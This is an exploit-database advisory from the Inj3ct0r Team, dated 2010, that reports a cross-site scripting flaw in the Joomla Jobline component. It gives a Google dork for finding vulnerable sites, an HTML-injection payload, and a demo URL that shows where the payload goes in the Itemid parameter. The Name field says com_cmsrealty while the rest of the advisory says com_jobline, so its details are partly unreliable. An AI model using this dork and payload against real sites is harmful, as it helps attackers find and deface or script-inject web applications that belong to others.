Joomla Job Line Cross Site Scripting

` ===================================================  
Joomla com_jobline Xss Vulnerability  
===================================================  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ########################################## 1  
0 I'm Sid3^effects member from Inj3ct0r Team 1  
1 ########################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Name : Joomla com_cmsrealty Xss Vulnerability  
Date : june, 19 2010  
Vendor url :http://www.jxdevelopment.com/  
Critical Level : LOW  
Google Dork:inurl:com_jobline  
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>  
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,gunslinger_  
greetz to :All ICW members and my friends :) luv y0 guyz   
#######################################################################################################  
Description:  
Offer job postings on your site with Jobline! Your users can browse jobs or search by job title and apply immediately online. Recruiters can add jobs and update job status throughout the hiring process. The administrator can approve or deny any job and controls publishing status.  
  
UPDATE February 13, 2010:  
A minor patch release for Jobline v1.1.3 has been released. It contains fixes for a possible security hole, so everyone running Jobline should upgrade.  
The release also includes an updated French translation, extended by Rob Mills and Mel Nahum, and Catalan translation by Edu Richard.  
UPDATE 2 October 2008: Minor bug fix release for PHP5.  
UPDATE: A new minor version of Jobline was released today. This release adds a long awaited feature: attaching a file to the application form.   
  
#######################################################################################################  
com_jobline suffers from Xss Vulnerability  
  
Xploit:Xss Vulnerability  
  
  
Attack pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>   
  
DEMO URL :https://www.joomlacache.com/demosite/index.php?option=com_jobline&task=feature&Itemid=[XSS]  
  
###############################################################################################################  
# 0day no more   
# Sid3^effects   
`